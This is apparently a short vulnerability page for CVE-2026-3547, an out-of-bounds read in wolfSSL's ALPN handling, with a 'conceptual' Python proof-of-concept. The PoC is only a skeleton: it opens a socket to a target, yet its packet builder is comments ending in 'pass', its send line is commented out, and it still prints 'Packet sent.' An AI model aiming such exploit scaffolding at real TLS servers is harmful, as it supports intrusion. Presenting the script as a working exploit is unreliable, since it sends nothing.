CVE-2026-3547 wolfSSL ALPN越界读取漏洞

# PoC for CVE-2026-3547 (Conceptual) # This script demonstrates sending a malformed TLS ClientHello # with a crafted ALPN extension to trigger the OOB read. import socket import struct def create_malformed_client_hello(): # Simplified TLS Record Layer # Content Type: Handshake (0x16) # Version: TLS 1.2 (0x0303) # Length: Placeholder # Handshake Protocol # Type: ClientHello (0x01) # Length: Placeholder # Version: TLS 1.2 (0x0303) # Random: 32 bytes (zeros for demo) # Session ID: Length 0 # Cipher Suites: Length 2, Suite 0x009C (TLS_RSA_WITH_AES_128_GCM_SHA256) # Extensions # ALPN Extension Type: 0x0010 # ALPN Extension Length: Malformed # ALPN List Length: Large value to trigger OOB # Note: Actual exploitation requires precise packet crafting. # This is a structural representation. pass # Target IP and Port target_host = '192.168.1.1' target_port = 443 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # send(create_malformed_client_hello()) s.close() print("Packet sent.") except Exception as e: print(f"Error: {e}")